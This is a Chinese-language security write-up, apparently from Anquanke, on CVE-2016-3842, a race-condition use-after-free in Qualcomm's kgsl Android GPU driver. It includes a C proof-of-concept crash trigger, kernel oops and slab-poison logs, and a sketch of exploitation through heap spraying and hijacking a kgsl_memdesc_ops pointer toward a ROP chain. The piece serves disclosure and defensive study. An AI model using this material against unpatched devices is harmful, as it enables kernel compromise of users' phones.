（一）、前言
就在幾天之前，安全研究專家在高通芯片內發(fā)現(xiàn)了一系列嚴重的Android安全漏洞，受這些漏洞影響的Android智能手機和平板電腦數(shù)量將會超過九億臺。更可怕的是，大部分受漏洞影響的Android設備可能永遠都不會被修復。
據(jù)了解，安全研究專家此次曝光了四個漏洞，這一組漏洞代號為“Quadrooter”。這些漏洞存在于配備了高通芯片的Android設備中，受影響的Android系統(tǒng)版本為Android 6.0（Marshmallow）及其以下版本。攻擊者可以利用這些漏洞來獲取到目標設備（配備了高通芯片）的完整訪問權限。
這四個安全漏洞分別為：
1. CVE-2016-2503：該漏洞存在于高通芯片的GPU驅動程序中，谷歌公司在2016年7月份的安卓安全公告中正式宣布成功修復了此漏洞。
2. CVE-2016-2504：該漏洞存在于高通芯片的GPU驅動程序中，谷歌公司在2016年8月份的安卓安全公告中正式宣布成功修復了此漏洞。
3. CVE-2016-2059：該漏洞存在于高通芯片的內核模塊中，公司于今年四月份就已經(jīng)修復了該漏洞。
4. CVE-2016-5340：該漏洞同樣存在于高通芯片的GPU驅動程序中，該漏洞目前已成功修復。
攻擊者只需要開發(fā)一個簡單的惡意軟件，然后將惡意軟件發(fā)送給目標用戶。一旦惡意軟件成功安裝，攻擊者就能夠直接獲取到感染設備的root訪問權限。
我們在下面這份列表中列出了當前較為熱門的幾款受影響設備，雖然還有很多其他的移動設備同樣會受到上述漏洞的影響，但是由于相關設備的數(shù)量過于龐大，所以我們在此無法一一列舉。
－Samsung Galaxy S7、Samsung S7 Edge
－Sony Xperia Z Ultra
－OnePlus One、OnePlus 2、OnePlus 3
－Google Nexus 5X、Nexus 6、Nexus 6P
－Blackphone 1、Blackphone 2
－HTC One、HTC M9、HTC 10
－LG G4、LG G5、LG V10
－New Moto X（Motorola）
－BlackBerry Priv
（二）、漏洞概述
2016年8月份的Nexus安全公告對這一漏洞（CVE-2016-3842）進行了評估，感興趣的讀者可以點擊這里閱讀這份安全公告。
細心的讀者可能已經(jīng)發(fā)現(xiàn)了，這個漏洞似乎分配到了兩個CVE編號。這也就意味著，將會出現(xiàn)一個修復補丁將會同時修復兩個漏洞的情況，請大家不要驚訝。
另外一個漏洞就是前言所提到的CVE-2016-2504，該漏洞的發(fā)現(xiàn)者是Adam Donenfeld。
我對漏洞CVE-2016-2504進行了分析，但是我無法找出這兩個CVE漏洞之間的區(qū)別，所以我推測這兩個漏洞描述的是同一個問題。所以在這篇文章中，我只會對我上報給谷歌公司的那個初始漏洞進行描述。
（三）、技術細節(jié)：
ioctl是設備驅動程序中對設備的I/O通道進行管理的函數(shù)，所謂對I/O通道進行管理，指的就是對設備的一些特性進行控制。ioctl函數(shù)是文件結構中的一個屬性分量，如果你的驅動程序提供了對ioctl的支持，用戶就能在用戶程序中使用ioctl函數(shù)控制設備的I/O通道。
高通的MSM GPU驅動程序（也被稱為kgsl驅動）提供了一個ioctl命令－IOCTL_KGSL_GPUMEM_ALLOC，這條控制命令可以允許用戶態(tài)的應用程序分配得到GPU與主存共享的那一部分內存空間。
在這個函數(shù)中，驅動程序將會創(chuàng)建一個名為“kgsl_mem_entry”的結構體來標識被分配出去的那塊內存空間。
當某一線程向kgsl驅動程序發(fā)送了IOCTL_KGSL_GPUMEM_ALLOC命令之后，函數(shù)“kgsl_mem_entry_attach_process”將會通過調用“idr_alloc”函數(shù)來為“kgsl_mem_entry”對象分配一個id。
但是在這個時候，可能有其他的線程會在函數(shù)“kgsl_ioctl_gpumem_alloc”的結果值還沒正常返回的情況下，就發(fā)送IOCTL_KGSL_GPUMEM_FREE_ID命令去釋放剛剛分配的結構體對象（kgsl_mem_entry）。
這也就意味著，函數(shù)“kgsl_ioctl_gpumem_alloc”將會繼續(xù)使用這個已經(jīng)被釋放了的“kgsl_mem_entry”對象。
正如技術人員在補丁文件中寫到的那樣：
“如果我們過早地在idr和rb進程樹中添加了kgsl_mem_entry指針，那么其他的線程就可以在這一對象得到創(chuàng)建函數(shù)的返回值之前，通過猜測對象ID或者GPU地址來操作這個結構體對象了。”
實際上，“kgsl_mem_entry”對象的ID其實是非常好猜測的。你在內核中分配的第一個entry其ID永遠都為1。
（四）、概念驗證POC
所以，你可以通過下列操作代碼來觸發(fā)這個漏洞：
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
void kgsl_poc(){
//kgsl_sharedmem_page_alloc_user
int fd = open("/dev/kgsl-3d0",0);
struct kgsl_gpumem_alloc_id arg;
arg.flags = 0;
arg.size = 0xa18fb010b0c08000;
ioctl(fd,IOCTL_KGSL_GPUMEM_ALLOC_ID, &arg);
}
int main(int argc, char *argv[]) {
kgsl_poc();
return 0;
}
|
運行結果：
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
<1>[ 96.006342] Unable to handle kernel NULL pointer dereference at virtual address 0000000c
<1>[ 96.006370] pgd = ffffffc0303dd000
<1>[ 96.006379] [0000000c] *pgd=0000000000000000
<0>[ 96.006403] Internal error: Oops: 96000005 [#1] PREEMPT SMP
<4>[ 96.006422] CPU: 2 PID: 5898 Comm: report Tainted: G W 3.10.73-g8c0675f #1
<4>[ 96.006432] task: ffffffc05ac7d600 ti: ffffffc03cd54000 task.ti: ffffffc03cd54000
<4>[ 96.006457] PC is at msm_iommu_map_range+0x8c/0x344
<4>[ 96.006468] LR is at msm_iommu_map_range+0x6c/0x344
<4>[ 96.006478] pc : [<ffffffc0009eb5e8>] lr : [<ffffffc0009eb5c8>] pstate: 80000145
<4>[ 96.006485] sp : ffffffc03cd57b60
<4>[ 96.006493] x29: ffffffc03cd57b60 x28: ffffffc03cd54000
<4>[ 96.006507] x27: 0000000000000001 x26: 0000000000000000
<4>[ 96.006521] x25: ffffffc03cd57bf0 x24: 0000000000100000
<4>[ 96.006536] x23: 00000000e8000000 x22: ffffffc001afe000
<4>[ 96.006551] x21: 0000000000000000 x20: ffffffc0b655c4c0
<4>[ 96.006566] x19: 0000000000100000 x18: ffffffc03cd57968
<4>[ 96.006581] x17: 0000000000000000 x16: 0000000000000000
<4>[ 96.006595] x15: 0000000000000000 x14: 0ffffffffffffffe
<4>[ 96.006610] x13: 0000000000000010 x12: 0101010101010101
<4>[ 96.006625] x11: 7f7f7f7f7f7f7f7f x10: 765e6e735e787173
<4>[ 96.006640] x9 : 7f7f7f7f7f7f7f7f x8 : 000e773888717246
<4>[ 96.006655] x7 : 0000000000000018 x6 : ffffffc0009eb55c
<4>[ 96.006669] x5 : ffffffc0b655c4c0 x4 : 0000000000000000
<4>[ 96.006684] x3 : 0000000000000000 x2 : ffffffc0b9e6c118
<4>[ 96.006699] x1 : ffffffc0b9f03018 x0 : 0000000000000012
<4>[ 96.006713]
<0>[ 96.006722] Process report (pid: 5898, stack limit = 0xffffffc03cd54058)
<4>[ 96.006731] Call trace:
<4>[ 96.006744] [<ffffffc0009eb5e8>] msm_iommu_map_range+0x8c/0x344
<4>[ 96.006756] [<ffffffc0009e6388>] iommu_map_range+0x20/0x34
<4>[ 96.006776] [<ffffffc00057f47c>] kgsl_iommu_map+0x1ac/0x1f8
<4>[ 96.006788] [<ffffffc00057c174>] kgsl_mmu_map+0x94/0x114
<4>[ 96.006807] [<ffffffc00056c81c>] kgsl_mem_entry_attach_process.isra.26+0x120/0x170
<4>[ 96.006819] [<ffffffc00056d098>] kgsl_ioctl_gpumem_alloc+0x64/0x144
<4>[ 96.006833] [<ffffffc00056f488>] kgsl_ioctl_helper+0x220/0x2b8
<4>[ 96.006844] [<ffffffc00056f53c>] kgsl_ioctl+0x1c/0x28
<4>[ 96.006862] [<ffffffc00030c1e0>] do_vfs_ioctl+0x4a8/0x57c
<4>[ 96.006874] [<ffffffc00030c310>] SyS_ioctl+0x5c/0x88
<0>[ 96.006888] Code: 35000700 b9407040 910243b9 b9009fa0 (b9400eb4)
<4>[ 96.006927] ---[ end trace 221b98014bd
|
Poison Overwritten：
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
<3>[ 181.749195] =============================================================================
<3>[ 181.749229] BUG kmalloc-192 (Tainted: G W ): Poison overwritten
<3>[ 181.749246] ——————————————————————————————————————
<3>[ 181.749246]
<4>[ 181.749268] Disabling lock debugging due to kernel taint
<3>[ 181.749289] INFO: 0xffffffc0af755f88-0xffffffc0af755f8f. First byte 0x0 instead of 0x6b
<3>[ 181.749332] INFO: Allocated in _gpumem_alloc.constprop.11+0xe0/0x220 age=0 cpu=2 pid=1678
<3>[ 181.749360] alloc_debug_processing+0xc8/0x16c
<3>[ 181.749387] __slab_alloc.isra.20.constprop.27+0x27c/0x2dc
<3>[ 181.749411] kmem_cache_alloc_trace+0x74/0x1c8
<3>[ 181.749434] _gpumem_alloc.constprop.11+0xdc/0x220
<3>[ 181.749459] kgsl_ioctl_gpumem_alloc+0x40/0x18c
<3>[ 181.749485] kgsl_ioctl_helper+0x2c4/0x340
<3>[ 181.749508] kgsl_ioctl+0x3c/0x50
<3>[ 181.749532] vfs_ioctl+0x60/0x74
<3>[ 181.749555] do_vfs_ioctl+0x98/0x610
<3>[ 181.749577] SyS_ioctl+0x70/0xac
<3>[ 181.749603] cpu_switch_to+0x48/0x4c
<3>[ 181.749633] INFO: Freed in kgsl_mem_entry_destroy+0xac/0x1a4 age=0 cpu=1 pid=1680
<3>[ 181.749658] free_debug_processing+0x204/0x2ac
<3>[ 181.749680] __slab_free+0x1b8/0x2cc
<3>[ 181.749703] kfree+0x218/0x220
<3>[ 181.749726] kgsl_mem_entry_destroy+0xa8/0x1a4
<3>[ 181.749750] _sharedmem_free_entry+0x214/0x22c
<3>[ 181.749774] kgsl_ioctl_gpumem_free_id+0x158/0x164
<3>[ 181.749799] kgsl_ioctl_helper+0x2c4/0x340
<3>[ 181.749822] kgsl_ioctl+0x3c/0x50
<3>[ 181.749844] vfs_ioctl+0x60/0x74
<3>[ 181.749867] do_vfs_ioctl+0x98/0x610
<3>[ 181.749889] SyS_ioctl+0x70/0xac
<3>[ 181.749913] cpu_switch_to+0x48/0x4c
<3>[ 181.749936] INFO: Slab 0xffffffbc06da9480 objects=28 used=28 fp=0x (null) flags=0x4080
<3>[ 181.749956] INFO: Object 0xffffffc0af755f80 @offset=8064 fp=0xffffffc0af757180
|
（五）、漏洞利用
在我看來，雖然攻擊者可以利用這個漏洞來進行攻擊，但是針對該漏洞的利用技術非常不穩(wěn)定。
我很想跟大家分享一些關于這一漏洞的利用技術，但是說實話，我自己也沒能夠完全掌握該漏洞的利用技巧。
對于我自己而言，只有穩(wěn)定且通用的漏洞利用技術才值得花時間去開發(fā)，所以我就不打算在這個漏洞上花費太多的時間和精力了。
為了避免在漏洞利用的過程中出現(xiàn)內核崩潰的情況，你需要在短時間內重新為系統(tǒng)分配一個新的“mem_entry”對象（因為之前的對象已經(jīng)被清空了），而且至少要在分配進程訪問“msm_iommu_map_range”地址之前完成你的對象分配操作。
在這一過程中不得不提到一項技術，即堆噴射技術。在計算機安全領域中，如果想要實現(xiàn)任意代碼執(zhí)行，那么堆噴射技術（Heap Spraying）就是一種較為容易的技術實現(xiàn)手段了。在一般情況下，堆噴射代碼會試圖將自身大面積地填充至進程的堆?？臻g中，并以正確的方式將命令寫滿這部分內存區(qū)域，以實現(xiàn)在目標進程的內存中預留位置，并寫入任意的控制指令。
為了實現(xiàn)這一步操作，我嘗試了多種方法，包括采用堆噴射技術來填充內核空間。但是我在測試之后發(fā)現(xiàn)，我所采用的最佳方法其成功率也只有40%，大部分情況下內核都會發(fā)生崩潰。我所采用的方法就是通過seccomp-bpf程序配合堆噴射技術，迅速將數(shù)據(jù)內容填充堆內存空間。谷歌的Project Zero團隊曾在去年的一篇文章中介紹過這項技術，感興趣的讀者可以點擊這里進行閱讀。需要注意的是，seccomp-bpf只能用于對版本為3.10的內核進行堆噴操作。如果我們能夠重新填充之前被意外釋放的那部分內存空間，那么控制目標計算機的注冊表也就是一件很簡單的事情了。
在“kgsl_mem_entry”結構體中，存在一個名為“kgsl_memdesc_ops”的結構體指針，它可以被攻擊者完全控制：
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
struct kgsl_mem_entry {
struct kref refcount;
struct kgsl_memdesc memdesc;
void *priv_data;
struct rb_node node;
unsigned int id;
struct kgsl_process_private *priv;
int pending_free;
};
/* shared memory allocation */
struct kgsl_memdesc {
struct kgsl_pagetable *pagetable;
void *hostptr;
unsigned int hostptr_count;
unsigned long useraddr;
unsigned int gpuaddr;
phys_addr_t physaddr;
size_t size;
unsigned int priv;
struct scatterlist *sg;
unsigned int sglen;
struct kgsl_memdesc_ops *ops; /* ====== the POINTER of ops you can control */
unsigned int flags;
struct device *dev;
struct dma_attrs attrs;
};
struct kgsl_memdesc_ops {
unsigned int vmflags;
int (*vmfault)(struct kgsl_memdesc *, struct vm_area_struct *,
struct vm_fault *);
void (*free)(struct kgsl_memdesc *memdesc);
int (*map_kernel)(struct kgsl_memdesc *);
void (*unmap_kernel)(struct kgsl_memdesc *);
};
|
通過重寫“kgsl_memdesc_ops”指針，并讓它指向你的ROP/JOP鏈，你就可以成功實現(xiàn)內核代碼執(zhí)行了。
（六）、修復補丁：
https://android.googlesource.com/kernel/msm/+/973f4134d9deb396415846f902848f0a32cb4cfa
（七）、漏洞時間軸
2016年4月25日：將該漏洞提交給谷歌公司；
2016年5月5日：谷歌公司對該漏洞進行了評估，并將該漏洞的評級設置為“高危漏洞”；
2016年6月29日：該漏洞分配到了編號CVE-2016-3842；
2016年8月1日：2016年8月份的Nexus安全公告正式披露了該漏洞的內容
（八）、總結
Android系統(tǒng)的安全問題真是令人頭疼的問題。再加上近期高通公司的處理器芯片頻爆漏洞，無疑是在給Android手機目前的安全現(xiàn)狀雪上加霜。
高通（Qualcomm）是一家美國的無線電通信技術研發(fā)公司，成立于1985年7月，在以技術創(chuàng)新推動無線通訊向前發(fā)展方面扮演著重要的角色。目前，高通公司所生產的CPU芯片和GPU芯片已經(jīng)被廣泛應用于各大廠商的安卓智能手機上了，考慮到如此大的用戶群體，高通公司是不是應該加強產品的安全監(jiān)管呢？
當然了，無論產品做得多么優(yōu)秀，安全問題永遠都會存在。沒有折不斷的茅，也沒有攻不破的盾。也許這就是信息安全吧！
（九）、參考鏈接
1.kgsl驅動程序中的另一個漏洞（已于2016年6月修復）：
http://retme.net/index.php/2016/06/12/CVE-2016-2468.html
2.2016年8月份的Nexus安全公告：
https://source.android.com/security/bulletin/2016-08-01.html
3.Project Zero項目團隊于2015年1月份發(fā)表的技術文章（涉及seccomp-bpf）：
http://googleprojectzero.blogspot.jp/2015/01/exploiting-nvmap-to-escape-chrome.html
4.漏洞修復補?。?/span>
https://android.googlesource.com/kernel/msm/+/973f4134d9deb396415846f902848f0a32cb4cfa
5.“Quadrooter”漏洞報告（The Hacker News）：
http://thehackernews.com/2016/08/hack-android-phone.html
本文由 安全客 原創(chuàng)發(fā)布，如需轉載請注明來源及本文地址。
本文地址：http://bobao.#/learning/detail/2959.html
